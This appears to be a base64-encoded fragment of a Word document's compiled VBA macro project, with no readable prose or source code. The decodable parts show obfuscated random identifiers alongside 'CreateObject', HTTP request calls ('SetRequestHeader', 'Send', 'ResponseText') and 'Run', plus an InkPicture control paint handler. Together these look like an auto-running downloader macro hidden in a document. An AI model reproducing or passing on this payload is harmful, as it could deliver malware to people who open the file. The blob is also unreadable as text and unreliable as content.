AAAA/MYAAAAAAACYDQAAAAAAABAAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwA AAD8xgAAAAAAADgOAAAAAAAAFAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAA APzGAAAAAAAA+A4AAAAAAAAQAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA /MYAAAAAAACYDwAAAAAAABAAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8 xgAAAAAAADgQAAAAAAAAEAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzG AAAAAAAA2BAAAAAAAAAEAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYA AAAAAAAYEQAAAAAAAAgAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAA AAAAAHgRAAAAAAAADAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAA AAAA+BEAAAAAAAAQAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAA AACYEgAAAAAAAAwAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAA ABgTAAAAAAAACAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAA eBMAAAAAAAAEAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAAC4 EwAAAAAAAAgAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAABgU AAAAAAAACAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAAeBQA AAAAAAAYAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAAD4FAAA AAAAABgAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAABwAAEwAAAAAHAAATAQAAAAcAABMC AAAABwAAEwMAAAAHAAATBAAAAAcAABMFAAAABwAAEwYAAAAHAAATBwAAAAcAABMIAAAABwAAEwkA AAAHAAATCgAAAAgAABMLAAAABwAAEwwAAAAHAAATDQAAAAcAABMOAAAABwAAEw8AAAAHAAATEAAA AAcAABMRAAAABwAAExIAAAAHAAATEwAAAAcAABMUAAAABwAAExUAAAAHAAATFgAAAAcAABMXAAAA BwAAExgAAAAHAAATGQAAAAcAABMaAAAABwAAExsAAAAHAAATHAAAAAcAABMdAAAABwAAEx4AAAAH AAATHwAAAAcAABMgAAAABwAAEyEAAAAHAAATIgAAAAcAABMjAAAABwAAEyQAAAAHAAATJQAAAAcA ABMmAAAABwAAEycAAAAHAAATKAAAAAcAABMpAAAABwAAEyoAAAAHAAATKwAAAAcAABMsAAAABwAA Ey0AAAAHAAATLgAAAGcAAH8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAByVYAAAAAAAAAAgAAAAIAAAAAAAAAAEAAAAAkAAAAAAAIA//////////8AAAAARAAA AAQAMAABAQAAAAACAAAABGAIALkG/////////////wAAAACBAAAAAAABALkAAAAAAAEAAAAAAB4I HZkAAAAAAAEAJABBAQAAAAACAAEABGAAAL0G/////////////wAAAAAAAAAAHiQAgQEAAAAAAgAC AARgAADBBv////////////8AAAAAAAAAAB4kAMEBAAAAAAIAAwAEYAAAxQb/////////////AAAA AAAAAAAeKAABAgAAAAACAAQABGAEAckG/////////////wAAAAD/////AAAAAB4wKABBAgAAAAAC AAUABGAEAc0G/////////////wAAAAD/////AAAAAB4wKACBAgAAAAACAAYABGAEAdEG//////// /////wAAAAD/////AAAAAB4wKADBAgAAAAACAAcABGAEAdUG/////////////wAAAAD/////AAAA AB4wKAABAwAAAAACAAgABGAEAdkG/////////////wAAAAD/////AAAAAB4jKABBAwAAAAACAAkA BGAEAd0G/////////////wAAAAD/////AAAAAB4wMACBAwAAAAACAAoABGAMAeEG//////////// /wAAAADRAAAAAAABAOkAAAAAAAEA/////wAAAAAeEBAjMADBAwAAAAACAAsABGAMAeUG//////// /////wAAAADRAAAAAAABAAEBAAAAAAEA/////wAAAAAeEA8jKAAJBAAAAAACAAwABGAEAOkG//// /////////wAAAAAZAQAAAAABAAAAAAAeDygASQQAAAAAAgANAARgBAHtBv////////////8AAAAA /////wAAAAAeLygAiQQAAAAAAgAOAARgBAHxBv////////////8AAAAA/////wAAAAAeMCQAyQQA AAAAAgAPAARgAAD1Bv////////////8AAAAAAAAAAB4oAAkFAAAAAAIAEAAEYAQB+Qb///////// ////AAAAAP////8AAAAAHiYoAEkFAAAAAAIAEQAEYAQB/Qb/////////////AAAAAP////8AAAAA HiYsAIkFAAAAAAIAEgAEYAgBAQf/////////////AAAAADEBAAAAAAEA/////wAAAAAeDy8oAMkF AAAAAAIAEwAEYAQBBQf/////////////AAAAAP////8AAAAAHjAsAAkGAAAAAAIAFAAEYAgBCQf/ ////////////AAAAAEkBAAAAAAEA/////wAAAAAeEDAoAEkGAAAAAAIAFQAEYAQBDQf///////// ////AAAAAP////8AAAAAHjAkAIkGAAAAAAIAFgAEYAAAEQf/////////////AAAAAAAAAAAeKADJ BgAAAAACABcABGAEARUH/////////////wAAAAD/////AAAAAB4vKAAJBwAAAAACABgABGAEARkH /////////////wAAAAD/////AAAAAB4vOABJBwAAAAACABkABGAQAR0H/////////////wAAAABh AQAAAAABAHkBAAAAAAEAkQEAAAAAAQD/////AAAAAB4QBgYwKACJBwAAAAACABoABGAEASEH//// /////////wAAAAD/////AAAAAB4mKADJBwAAAAACABsABGAEASUH/////////////wAAAAD///// AAAAAB4wMAAJCAAAAAACABwABGAMASkH/////////////wAAAACpAQAAAAABAMEBAAAAAAEA//// /wAAAAAeBgYmLABJCAAAAAACAB0ABGAIAS0H/////////////wAAAADZAQAAAAABAP////8AAAAA Hg8mMACJCAAAAAACAB4ABGAMADEH/////////////wAAAADZAQAAAAABAPEBAAAAAAEACQIAAAAA AQAAAAAAHg8GEDAAyQgAAAAAAgAfAARgDAE1B/////////////8AAAAAIQIAAAAAAQA5AgAAAAAB AP////8AAAAAHhAGMDgACQkAAAAAAgAgAARgEAE5B/////////////8AAAAAYQEAAAAAAQB5AQAA AAABAJEBAAAAAAEA/////wAAAAAeEAYGMDAASQkAAAAAAgAhAARgDAE9B/////////////8AAAAA IQIAAAAAAQA5AgAAAAABAP////8AAAAAHhAGMDAAiQkAAAAAAgAiAARgDAFBB/////////////8A AAAAIQIAAAAAAQA5AgAAAAABAP////8AAAAAHhAGMDAAyQkAAAAAAgAjAARgDAFFB/////////// //8AAAAAIQIAAAAAAQA5AgAAAAABAP////8AAAAAHhAGMCQACQoAAAAAAgAkAARgAABJB/////// //////8AAAAAAAAAAB4oAEkKAAAAAAIAJQAEYAQBTQf/////////////AAAAAP////8AAAAAHjAs AIkKAAAAAAIAJgAEYAgBUQf/////////////AAAAAFECAAAAAAEA/////wAAAAAeEDAwAMkKAAAA AAIAJwAEYAwBVQf/////////////AAAAANEAAAAAAAEA6QAAAAAAAQD/////AAAAAB4QECYsAAkL AAAAAAIAKAAEYAgBWQf/////////////AAAAACECAAAAAAEA/////wAAAAAeECMoAEkLAAAAAAIA KQAEYAQBXQf/////////////AAAAAP////8AAAAAHjAkAIkLAAAAAAIAKgAEYAAAYQf///////// ////AAAAAAAAAAAeKADJCwAAAAACACsABGAEAWUH/////////////wAAAAD/////AAAAAB4mKAAJ DAAAAAACACwABGAEAWkH/////////////wAAAAD/////AAAAAB4mLABJDAAAAAACAC0ABGAIAW0H /////////////wAAAABpAgAAAAABAP////8AAAAAHg8mLACJDAAAAAACAC4ABGAIAXEH//////// /////wAAAABpAgAAAAABAP////8AAAAAHg8vAQAAAAAAAABuAAB/AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUSzgAEABAAAAAEAMCoCApAJ AHAUBkgDAIICAGTkBAQABwAcAFByb2plY3QFUQAoAABAAhQGAhQ9rQIKBwJsARQIBhIJAhKAW1DB WRgQDAJKEjwCChYAAXJzdGQgb2xlPgABGXMAAHQAZABvAGwAoGUADQBoACVeAAMAKlxHezBfAFYA QgBBAF8AUABSAE8ASgBFAEMAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAGgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH4A AAB6EgAAAAAAAGQAaQByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAIAAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAbgAAAEgDAAAAAAAAXwBfAFMAUgBQAF8AMAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgARAAAADgAAAP////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAA/wkAAAAAAABfAF8AUwBSAFAAXwAxAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAP////////// /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKQAAAChAQAAAAAAAAAHhAgA /wMDAFJnbmJFbGkCdhAAAwBFcnJvihAAB4QIAP8DAwBNYlV5WHNN2OwQAAsARGVzY3JpcHRpb26+ IBAABYQIAP8DAwBZWGZidb5ZEAAFhAgA/wMDAEF6Z3pLsYcQAAaECAD/AwMAS1ZrVm5ZV1wQAAYA TnVtYmVyoy0QAAaECAD/AwMAV0lrZExspIwQAAaECAD/AwMAbmdhSlRjpBsQAAeECAD/AwMASlFV SXhIblY0EAAFAFJhaXNlGPQQAAeECAD/AwMASVNpaE9CWDxcEAAHhAgA/wMDAHNORGd0ZE2u1BAA BYQIAP8DAwBWWG92T4seEAAHhAgA/wMDAHhCWVJIaVn76hAABQBSaWdodA0VEAAFhAgA/wMDAERl c21Xf0QQAAaECAD/AwMAeWl5b3hXMWsQAAeECAD/AwMAbEZ1ZmFrbfnuEAAOgAAA/wMBAEFjdGl2 ZURvY3VtZW5001wQAAaECAD/AwMAREhpQ2ROjtAQAAWECAD/AwMAVnlKRXmFsBAABYAAAP8DAwBx V3Bpcka9EAAFhAgA/wMDAHRXSUFzWUwQAAWECAD/AwMAQUVUbFcKlBAABYQIAP8DAwBjUlZnSJPL EAAGhAgA/wMDAFJHYWlGQx1vEAAGhAgA/wMDAHlYUVJiVyLuEAAC//8BAWAAAAAAAgEA//8CAgAA //////////////////////////////////////////8OAgIA//8QAv////8TAgAACQD///////8W AgMA//8YAgQA//8aAgUA//////////////////8JABAAAAABABIAAAAAAAAAAAAAAAAAAAAAAAAA AQBTAHkAcwBXAE8AVwA2ADQAXABzAHQAZABvAGwAZQAyAC4AdABsAGIAIwBPAEwARQAgAEEAdQB0 AG8AbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAEgAqAFwAQwBOAG8AcgBtAGEAbAASACoAXABDAE4A bwByAG0AYQBsAOtPwVkFAAAAAAAAADQBKgBcAEcAewAyAEQARgA4AEQAMAA0AEMALQA1AEIARgBB AC0AMQAwADEAQgAtAEIARABFADUALQAwADAAQQBBADAAMAA0ADQARABFADUAMgB9ACMAMgAuADQA IwAwACMAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEMAbwBt AG0AbwBuACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAIABTAGgAYQByAGUAZABcAE8A RgBGAEkAQwBFADEAMgBcAE0AUwBPAC4ARABMAEwAIwBNAGkAYwByAG8AcwBvAGYAdACBAAAAggAA AIMAAACEAAAAhQAAAIYAAACHAAAAiAAAAIkAAACKAAAAiwAAAIwAAACNAAAAjgAAAI8AAACQAAAA kQAAAJIAAACTAAAAlAAAAJUAAACWAAAAlwAAAJgAAACZAAAAmgAAAJsAAACcAAAAnQAAAJ4AAACf AAAAoAAAAKEAAACiAAAAowAAAP7///+lAAAApgAAAKcAAACoAAAAqQAAAKoAAAD+/////v///60A AACuAAAArwAAALAAAACxAAAAsgAAAP7///+0AAAA/v////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////zAwMmAwNDMw LQAIBARDBwAKAg4BEjAwNDZ9ACMyLjAjMCNDADpcV2luZG93AHNcU3lzV09XCDY0XANlMi50bABi I09MRSBBdQB0b21hdGlvbgcAYAACg0VOb3JtYQpsg0VOgENyAG0AomGARg4AIIARCYABGCpcQwMS CgbrT8EIWQUAgyFPZmZpImOEZ08AZoAAaQAqY4JnpIAfmoIhR3sAMkRGOEQwNEMALTVCRkEtMTCA MUItQkRFNYBn1EFBgGU0gAUyiGeAugBncmFtIEZpbABlcyAoeDg2KYBcQ29tbW9uAwkAXE1pY3Jv c28AZnQgU2hhcmUAZFxPRkZJQ0UAMTJcTVNPLkSYTEwjhxCDUCAxgJYIIE9igeYgTGliMHJhcnkA J4AAFgACC0ABTVNJTktBFFVUgAY+gDYAAE0AAFMASQBOAEsAAEEAVQBUAEwAAGkAYgAzAKEDAAuB aDdEODY4QQBDRC0xQTVELYA0QTQ3LUEyAAEARjM5NzQxMzXoMzAxgDQxhWivNMAjIlzAAE9CSgw0 VGEAYmxldCBQQyAQVHlwZQUzLCB2KGVyc0B4IMAcLwDaO4ApMYQqQ4wwSZOBBEFIkzAwfSMwgioj R8AMgAAqRTAAuoAMnAPAAAFGQ0IyRjNBAEVBLTA4RUItADRFMjEtQTZEADgtQzBEMEU3AEZFRjAz N30jCQZGVXOALVxBRE0ASU5JfjFcQXAAcERhdGFcTG8AY2FsXFRlbXAAXDJcV29yZDgcLjAAdwBE A2kuZXgeZAh54ESAJ4AAzYqGAH1dGkdKokfzoJdBNTASgX0PQn6IAQAT4gDzrxmicwBUaGlzRG9j dYBtZW50RwAYYAeCVGB0aQBzAERgZYhjAHWgZWUAbmB4KhruBTL6BRxgCQAACkiiADGihcM2AAAW HiIBgQIs4hBscyIVIgQrogAQogAuADAAAAAAAAAAAAAAAAIAAADNioZ9XRpHSqJH85dBNTASAAAB AAIABAAEAgAABgIBAAgCAAAKApNLKoUBABAAAAD//wAAAAABAAIA//8AAAAAAQAAAAAAAAAAAAEA AgAAAAAAAAABAAUABQAFAAUABQAFAAUABQAFAAUABQAFAAEACQAAACpcQ05vcm1hbHJVAAIAAIAA AACAAAAAgAAAAAQAAH4FAAB+AQAAfgEAAH4BAAB+AQAAfgEAAH4BAAB+aAAAfwAAAAAVAAAACQAA AAAAAQAIAAAAAAAAAOEAAAAAAAAAjZOWNILfYUG815PMnlHPhQEACQQAAAkEAADkBAAAAAAAAAEA /////wEAg4plAAkAAAAAAAIAEQ0AAAAAAAD/////LwChCAAAAAAAAPEIAAAAAAAACQkAAAAAAAAh CQAAAAAAADkJAAAAAAAAUQkAAAAAAABpCQAAAAAAAIEJAAAAAAAAmQkAAAAAAACxCQAAAAAAAMkJ AAAAAAAA4QkAAAAAAAD5CQAAAAAAABEKAAAAAAAAKQoAAAAAAABBCgAAAAAAAFkKAAAAAAAAcQoA AAAAAACJCgAAAAAAAKEKAAAAAAAAuQoAAAAAAADRCgAAAAAAAOkKAAAAAAAAAQsAAAAAAAAZCwAA AAAAADELAAAAAAAASQsAAAAAAABhCwAAAAAAAHkLAAAAAAAAkQsAAAAAAACpCwAAAAAAAMELAAAA AAAA2QsAAAAAAADpCwAAAAAAAOkDAAAAAAAA8QcAAAAAAAAJDAAAAAAAACEMAAAAAAAAOQwAAAAA AABRDAAAAAAAAGkMAAAAAAAAgQwAAAAAAACZDAAAAAAAALEMAAAAAAAAyQwAAAAAAADhDAAAAAAA APkMAAAAAAAA//8AALkAAAAAAAAABgDJAQAAAAAAAAAAAAAAAAAAAAAAAAAAAADhAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAJBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAQAAAPJdwit2sEJHgR8R JZwhIK85BQAAAAAAAAAAAAAAAAAAAAAAAAAAAABpBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAC DAAAAFRoaXNEb2N1bWVudAIAAAIHAAAAUHJvamVjdAQAAAPvBAIAAAAAAMAAAAAAAABGEgAAAkYA AABDOlxQcm9ncmFtIEZpbGVzICh4ODYpXENvbW1vbiBGaWxlc1xNaWNyb3NvZnQgU2hhcmVkXFZC QVxWQkE2XFZCRTYuRExMAQAAAgMAAABWQkEKAAAK+QAAAAAAAAD/////BAAAAAkAAAAhAQAAAAAA ALkBAAAAAAAAYAAAAAAAAAAAAAAAAAAEAAADBQkCAAAAAADAAAAAAAAARg8AAAI7AAAAQzpcUHJv Z3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnQgT2ZmaWNlXE9mZmljZTEyXE1TV09SRC5PTEICAAAC BAAAAFdvcmQKAAAKIQIAAAAAAAD/////CAAEAAAAAABJAgAAAAAAAMkCAAAAAAAAcAAAAAAAAAAA AAAAAAAEAAADMAQCAAAAAADAAAAAAAAARggAAAIfAAAAQzpcV2luZG93c1xTeXNXT1c2NFxzdGRv bGUyLnRsYgIAAAIGAAAAc3Rkb2xlBAAAA5s9w8hB4gBAljMFuK0/rw4DAAACBQAAAFZYb3ZPCgAA CjkDAAAAAAAA/////wIAAAAAAAAAYQMAAAAAAACpAwAAAAAAAIAAAAAAAAAAgQAAAIIAAACDAAAA hAAAAIUAAAB2AAAAhwAAAIgAAACJAAAAiwAAAP7////+////jQAAAI4AAACPAAAAkAAAAJEAAACS AAAAkwAAAJQAAACVAAAAlgAAAJcAAACYAAAAmQAAAJoAAACbAAAAnAAAAJ0AAACeAAAAnwAAAKAA AAChAAAAogAAAKMAAACkAAAApQAAAKYAAACnAAAAqAAAAKkAAACqAAAAqwAAAKwAAACtAAAArgAA AK8AAACwAAAAsQAAALIAAACzAAAAtAAAALUAAAC2AAAAtwAAALgAAAC5AAAAugAAAP7///////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////MYYUAAAEA/wkEAAAJ BAAA5AQBAAAAAAAAAAAAAQAGAAIAKAEqAFwARwB7ADAAMAAwADIAMAA0AEUARgAtADAAMAAwADAA LQAwADAAMAAwAC0AQwAwADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAANAA2AH0AIwA0AC4AMAAj ADkAIwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACAAKAB4ADgANgApAFwAQwBvAG0A bQBvAG4AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAFMAaABhAHIAZQBkAFwAVgBC AEEAXABWAEIAQQA2AFwAVgBCAEUANgAuAEQATABMACMAVgBpAHMAdQBhAGwAIABCAGEAcwBpAGMA IABGAG8AcgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzAAAAAAAAAAAAAAAAABwBKgBcAEcAewAw ADAAMAAyADAAOQAwADUALQAwADAAMAAwAC0AMAAwADAAMAAtAEMAMAAwADAALQAwADAAMAAwADAA MAAwADAAMAAwADQANgB9ACMAOAAuADQAIwAwACMAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBs AGUAcwAgACgAeAA4ADYAKQBcAE0AaQBjAHIAbwBzAG8AZgB0ACAATwBmAGYAaQBjAGUAXABPAGYA ZgBpAGMAZQAxADIAXABNAFMAVwBPAFIARAAuAE8ATABCACMATQBpAGMAcgBvAHMAbwBmAHQAIABX AG8AcgBkACAAMQAyAC4AMAAgAE8AYgBqAGUAYwB0ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAA AAC8ACoAXABHAHsAMAAwADAAMgAwADQAMwAwAC0AMAAwADAAMAAtADAAMAAwADAALQBDADAAMAAw AC0AMAAwADAAMAAwADAAMAAwADAAMAA0ADYAfQAjADIALgAwACMAMAAjAEMAOgBcAFcAaQBuAGQA bwB3AHMAXABTAHkAcwBXAE8AVwA2ADQAXABzAHQAZABvAGwAZQAyAC4AdABsAGIAIwBPAEwARQAg AEEAdQB0AG8AbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAEgAqAFwAQwBOAG8AcgBtAGEAbAASACoA XABDAE4AbwByAG0AYQBsAOtPwVkFAAAAAAAAADQBKgBcAEcAewAyAEQARgA4AEQAMAA0AEMALQA1 AEIARgBBAC0AMQAwADEAQgAtAEIARABFADUALQAwADAAQQBBADAAMAA0ADQARABFADUAMgB9ACMA MgAuADQAIwAwACMAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBc AEMAbwBtAG0AbwBuACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAIABTAGgAYQByAGUA ZABcAE8ARgBGAEkAQwBFADEAMgBcAE0AUwBPAC4ARABMAEwAIwBNAGkAYwByAG8AcwBvAGYAdAAg AE8AZgBmAGkAYwBlACAAMQAyAC4AMAAgAE8AYgBqAGUAYwB0ACAATABpAGIAcgBhAHIAeQAAAAAA AAAAAAAAAABCASoAXABHAHsANwBEADgANgA4AEEAQwBEAC0AMQBBADUARAAtADQAQQA0ADcALQBB ADIANAA3AC0ARgAzADkANwA0ADEAMwA1ADMAMAAxADIAfQAjADEALgAwACMAMAAjAEMAOgBcAFAA cgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABDAG8AbQBtAG8AbgAgAEYAaQBs AGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBoAGEAcgBlAGQAXABJAE4ASwBcAEkATgBLAE8A QgBKAC4ARABMAEwAIwBNAGkAYwByAG8AcwBvAGYAdAAgAFQAYQBiAGwAZQB0ACAAUABDACAAVAB5 AHAAZQAgAEwAaQBiAHIAYQByAHkALAAgAHYAZQByAHMAaQBvAG4AIAAxAC4AMAAAAAAAAAAAAAAA AQA4ASoAXABHAHsAQwBCADIARgAzAEEARQBBAC0AMAA4AEUAQgAtADQARQAyADEALQBBADYARAA4 AC0AQwAwAEQAMABFADcARgBFAEYAMAAzADcAfQAjADEALgAwACMAMAAjAEMAOgBcAFUAcwBlAHIA cwBcAEEARABNAEkATgBJAH4AMQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBw AFwAMgBcAFcAbwByAGQAOAAuADAAXABNAFMASQBOAEsAQQBVAFQATABpAGIALgBlAHgAZAAjAE0A aQBjAHIAbwBzAG8AZgB0ACAAVABhAGIAbABlAHQAIABQAEMAIABUAHkAcABlACAATABpAGIAcgBh AHIAeQAsACAAdgBlAHIAcwBpAG8AbgAgADEALgAwAAAAAAAAAAAAAAACAAAAzYqGfV0aR0qiR/OX QTUwEgAAAQACAAQABAIAAAYCAQAIAgAACgIBABAC////////AAAAAAAAAABbUMFZGBD//wAA//// //////////////////////////////////////////////////////////////////////////// AQAAAAAAAAAAAAAAAAAAAAAAAADzrwEAGABUAGgAaQBzAEQAbwBjAHUAbQBlAG4AdAAUADQAWgA1 ADkAYwAxADUAMAA1AGIA//8TAhgAVABoAGkAcwBEAG8AYwB1AG0AZQBuAHQA//9scwAAAAAAAAAC AAAAwzYAAP///////wEBIAIAAP////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////8AAgAA//////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////sO8OEeoOgk2Vr7FUnChyaf////8BAAAA/////2AAAACAAAAAAABt AW4A/wCIMwAABAxXb3JktWsQAAMMVkJB9+IQAAUEV2luMTbBfhAABQRXaW4zMgd/EAADBE1hY7Oy EAAEBFZCQTatIxAACARQcm9qZWN0MQoXEAAGDHN0ZG9sZZNgEAAHDFByb2plY3QtrhAADAxUaGlz RG9jdW1lbnQ8nhAACYAAAP8DAwBfRXZhbHVhdGUY2RAABghOb3JtYWzf2BAABowoAP8DAwBPZmZp Y2UVdRAAC4ggAP8DAwBNU0lOS0FVVExpYvmsEAALBElua1BpY3R1cmUxR/IQAAQEQmdyZZrPEAAI BERvY3VtZW50atMQAAeECAD/AwMAdU5JU3doTf98EAAMhAgA/wMDAEJncmVfUGFpbnRlZMEEEAAG hAgA/wMDAGZmUXJwcURZEAAGhAgA/wMDAFpra1daRVltEAANgAAA/wMDAElJbmtSZWN0YW5nbGXm shAAB4QIAP8DAwBkdmFSaFBoT28QAAaECAD/AwMARHdQeE1Kc6QQAAaECAD/AwMAYkhPQlR0EkIQ AAaECAD/AwMAbEhXRVlY85wQAAWECAD/AwMAUXNkZlKSKxAABoQIAP8DAwB4Y0Fiam/cihAABYQI AP8DAwBKeXhOQXolEAAGhAgA/wMDAGd0eUlQT0xREAAGgAAA/wMDAEJXcXNVcBYjEAAFhAgA/wMD AGpqTnp1iHMQAAwAQ3JlYXRlT2JqZWN0+IoQAAWECAD/AwMARFFSZ2lgghAABoQIAP8DAwBjd1l3 cXX/XxAAA4AAAP8DAQBSdW5f0BAAB4QIAP8DAwBSRW1uTFlFZiEQAAeAAAD/AwMAVUZHUGhDcwkH EAAHhAgA/wMDAEl5RUVUaWeIDBAABoQIAP8DAwBxbkhsTE6KzhAAAYQIAP8DAwBhWBAQAAWECAD/ AwMASGZqc2eBIhAAB4QIAP8DAwB3UVVHalRxg00QAAaAAAD/AwMAVGRJbWxwXioQAAeECAD/AwMA eGRiaUxZbfJnEAAGhAgA/wMDAG94cUJrbZIREAAGhAgA/wMDAFpERUFUcehcEAAFhAgA/wMDAHNj SG9jMwsQABCAAAD/AwMAU2V0UmVxdWVzdEhlYWRlciM3EAAHhAgA/wMDAFpUVmhPQUTD8BAABoQI AP8DAwBLY2ZKd2atbBAABIAAAP8DAwBTZW5kzeQQAAaAAAD/AwEAU3RhdHVzkisQAAyAAAD/AwMA UmVzcG9uc2VUZXh00XcQAAeECAD/AwMAd0NYek94Qq6MEAAHhAgA/wMDAGJvZW9kSXEyMRAACABJ blN0clJldsSIEAAFAFVDYXNlNQoQAAaECAD/AwMAV2xoTmNGWyUQAAeECAD/AwMAcUtBR0JiVf36 EAAGhAgA/wMDAG9wYnhZV0hkEAAFhAgA/wMDAElaaEZyWhkQAAeECAD/AwMAYmtUUVBCeY4tEAAL gAAA/wMBAFJlY2VudEZpbGVzOdMQAAUAQ291bnQwdhAAB4QIAP8DAwBqU0NPS3BMIX0QAAeECAD/ AwMAdk9obkhYdt4UEAAGhAgA/wMDAEN1YU9BQsw0EAAHhAgA/wMDAHl0SXZNbWEoFxAABoAAAP8D AwBjbENjYnYaXxAABYQIAP8DAwBFbXl5WpkPEAAGhAgA/wMDAFpiamZzWf4vEAAFgAAA/wMBAFRh c2tzFEwQAAeECAD/AwMAUWtZbHBMcq+JEAAHhAgA/wMDAHRrYmhWYW+kdBAABoQIAP8DAwByaXVK WnecDBAABoQIAP8DAwBTQWVXY24adhAABYQIAP8DAwBQZ2JGZN9KEAAGhAgA/wMDAEJpYWZ6SLUa EAAFhAgA/wMDAGR0RXhQcJAQAAaECAD/AwMAck5WWnFGMAAQAAAAAAAABAAAA0zQ+C36WxsQveUA qgBE3lISAAACRQAAAEM6XFByb2dyYW0gRmlsZXMgKHg4NilcQ29tbW9uIEZpbGVzXE1pY3Jvc29m dCBTaGFyZWRcT0ZGSUNFMTJcTVNPLkRMTAIAAAIGAAAAT2ZmaWNlCgAACmEEAAAAAAAA/////wIA BAAAAAAAiQQAAAAAAAAhBQAAAAAAAJAAAAAAAAAAAAAAAAAABAAAA82Khn1dGkdKokfzl0E1MBIR AAACQwAAAEM6XFByb2dyYW0gRmlsZXMgKHg4NilcQ29tbW9uIEZpbGVzXE1pY3Jvc29mdCBTaGFy ZWRcSU5LXElOS09CSi5ETEwDAAACCwAAAE1TSU5LQVVUTGliCgAACpEFAAAAAAAAkQUAAAAAAAAB AAAAAAAAALkFAAAAAAAASQYAAAAAAACgAAAAAAAAAAIAAAABAAQAAAPqOi/L6wghTqbYwNDn/vA3 EAAAAj4AAABDOlxVc2Vyc1xBRE1JTkl+MVxBcHBEYXRhXExvY2FsXFRlbXBcMlxXb3JkOC4wXE1T SU5LQVVUTGliLmV4ZAoAAArBBgAAAAAAAJEFAAAAAAAAAQAAAAAAAADpBgAAAAAAAEkGAAAAAAAA sAAAAAAAAAACAAAAAgAEAAADawkCAAAAAADAAAAAAAAARgIAAAIHAAAAeEJZUkhpWQQAAANcK8Kv ROp4QYFPrZpFXinwBAAAA8lSCbGPmIZAg2mYXYKtwCsEAAADAgoCAAAAAADAAAAAAAAARgMAAAII AAAARG9jdW1lbnQEAAACDAAAAEJncmVfUGFpbnRlZAQAAAOC/5SXcWAXR4qLasfGSmhuAgAAAgcA 